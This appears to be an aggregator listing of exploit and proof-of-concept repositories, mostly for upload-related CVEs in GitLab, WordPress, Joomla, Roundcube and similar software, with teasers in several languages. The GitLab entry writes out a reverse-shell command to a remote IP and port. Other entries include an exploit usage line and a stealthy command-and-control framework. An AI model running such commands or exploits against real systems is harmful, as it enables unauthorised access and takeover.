RISE-Ultimate_Project_Manager_e_CRM

CVE-2025-3855 - RISE Ultimate Project Manager - IDOR Vulnerabilità di sicurezza: IDOR Insecure Direct Object Reference Componente interessato: endpoint di caricamento dell'immagine del profilo, controller teammembers Software: RISE - Ultimate Project Manager & CRM Venditore: codecanyon Versione:...

CVE-2019-16113-Dockerfile

Bludit डायरेक्टरी ट्रैवर्सल भेद्यता CVE-2019--16113 Bludit-3.9.2 एक हल्का CMS है, जिसे चलाने के लिए केवल LAMP वातावरण की आवश्यकता होती है। छवि अपलोड करते समय, Bludit फ़ाइल एक्सटेंशन की जाँच करने के बाद फ़ाइल को समय पर नहीं हटाता है; हमलावर uuid पैरामीटर को नियंत्रित करके डायरेक्टरी ट्रैवर्सल भी...

CVE-2021-23132

CVE-2021-23132 Percorsi consentiti di commedia non destinati al caricamento di immagini, fino alla RCE. CVE-2020-24597 Directory traversal in commedia fino alla RCE Le due CVE sono identiche. PoC Completo Versione interessata: Joomla core =3.9.24 Requisito utente: account Admin non Superadmin...

CVE-2025-54962

🔥 CVE-2025-54962 — Unsicherer Datei-Upload im OpenPLC Runtime Webserver OpenPLC Runtime ≤ 2024-12-31 — Stored XSS, CSRF 📌 Zusammenfassung Ich habe eine Schwachstelle im OpenPLC Runtime Webserver Release-Version: 2024-12-31 entdeckt, die es authentifizierten Benutzern ermöglicht, beliebige Dateien...

Pixel-Flood-Attack

Pixel Flood DoS - CVE-2024-22393 PoC Bug Pixel Flood per Server Web Una leggera prova di concetto per testare la vulnerabilità di esaurimento memoria Pixel Flood nelle applicazioni web che eseguono versioni vulnerabili di Apache Answer. Indice Descrizione Dettagli Tecnici Versioni Affette Requisi...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Versione di test Costruzione del comando per generare lo sfruttamento root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Utilizzo di djvumake per generare l'immagine di sfruttamento...

CVE-2026-18886

CVE-2026-18886 is an improper access control vulnerability in the ServiceNow AI platform , specifically in the System Configuration Image Upload Processor . An unauthenticated user can, in certain circumstances, create or modify instance data beyond intended scope, leading to privilege escalation...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - Bild-Remote-Codeausführung Exploit von CVE-2019-8942 und CVE-2019-8943 mit Python : ExploitDB : https://www.exploit-db.com/exploits/49512 Der ursprüngliche Exploit für Metasploit : WordPress Core 5.0.0 - Crop-image Shell Upload Metasploit :...

Gitlab-CVE-2021-22205

RCE non autenticata su Gitlab versione 13.10.3 Exploit RCE non autenticata per gitlab versione 13.10.3 Solo per scopi educativi/di ricerca. Usalo a tuo rischio Causa principale: Quando carica file immagine, Gitlab Workhorse passa qualsiasi file con le estensioni jpg|jpeg|tiff a ExifTool per...

CVE-2026-11112-XXE-via-SVG-Image-Upload

CVE-2026-11112 – XXE tramite caricamento di immagini SVG Codice del programma Python Flask + parser XML root@kitploit: xxeuploadserver.py - Uploads SVG, renders with lxml resolving entities from flask import Flask, request from lxml import etree app = Flaskname @app.route'/upload', methods='POST'...

smart-sketcher-upload

smART Sketcher 2.0 – Umgehung der Bluetooth-Authentifizierung CVE-2026-0842 | Fehlende Authentifizierung an der BLE-Schnittstelle Überblick Der smART Sketcher 2.0 ist ein Bluetooth-fähiger Spielzeugprojektor, mit dem Kinder Bilder nachzeichnen können. Er verfügt über keine Authentifizierung an...

-CVE-2026-1657

CVE-2026-1657 Exploit CVE-2026-1657: caricamento di immagini non autenticato tramite endpoint AJAX 'epuploadfilemedia' USO python3 ./CVE-2026-1657.py https://site.com/ labrat.jpeg...

QuickResponseC2

Capacità - Utilizzo - Dimostrazione - Panoramica del flusso di lavoro - TODO QuickResponseC2 QuickResponseC2 è un framework di Comando e Controllo C2 furtivo che permette una comunicazione indiretta e nascosta tra la macchina dell'attaccante e quella della vittima tramite un server HTTP/S...

CVE-2021-22205

CVE-2021-22205 RCE pré-autenticado via exiftool no Gitlab CE/EE Resumo da CVE O GitLab usa o ExifTool para escanear todos os arquivos tiff/jpeg/jpg e remover quaisquer tags que não estejam na lista de permissões. Mas, como o ExifTool não usa extensões de arquivo para determinar o tipo de arquivo,...

CVE-2025-49113

CVE-2025-49113 – Exploit RCE per Roundcube Webmail PoC Python ID CVE: CVE-2025-49113 Tipo di Exploit: Remote Code Execution tramite PHP Object Injection Applicazione: Roundcube Webmail ≤ 1.5.9 e ≤ 1.6.10 Linguaggio dell'Exploit: Python Autore: 00xCanelo Stato: Testato e funzionante su installazio...

thingsboard-ssrf-cve-2025-34282

CVE-2025-34282 — ThingsBoard SSRF über SVG-Bild-Upload Übersicht Sicherheitslücke zur Server-Side Request Forgery SSRF in ThingsBoard IoT-Plattform-Versionen vor 4.2.1. Ein Angreifer mit Tenant-Admin-Zugriff kann eine manipulierte SVG-Datei mit einer internen URL-Referenz über die...

cve-2022-44268

Exploit su misura per HackTheBox Pilgrimage Script Python automatico che utilizza cve-2022-44268 per aggiungere un valore di profilo con un nome file da una filelist di input in un file di input, aggiornare il caricamento dell'immagine usando un file request.req di input da Burpsuite già incluso...

PoC-RCE-Rukovoditel

PoC-RCE-Rukovoditel Prova de conceito para CVE-2020-11819 e CVE-2020-15946. Testado no Rukovoditel 2.4.x, 2.5.x e 2.6.1 Descrição: Este exploit possui dois modos de execução, utilizando a vulnerabilidade de fixação de sessão CVE-2020-15946 ou usando as credenciais de acesso de qualquer conta em...

CVE-2021-43617

CVE-2021-43617 Questa è una riproduzione della vulnerabilità PHP Laravel 8.70.1 - Cross Site Scripting XSS to Cross Site Request Forgery CSRF Descrizione La vulnerabilità sfrutta il fatto che possiamo bypassare la funzionalità di caricamento di file immagine di Laravel per caricare file arbitrari...

shining-mask

Shining Mask Hacks Dieses Repository enthält Code und Anleitungen zum Erstellen eines benutzerdefinierten Bluetooth-Low-EnergyBLE-Controllers für die Shining LED Mask, der das Gesichtsbild aller Masken in BLE-Reichweite automatisch ändert. Dieses Repository ist eine Ergänzung zu Invasion of the...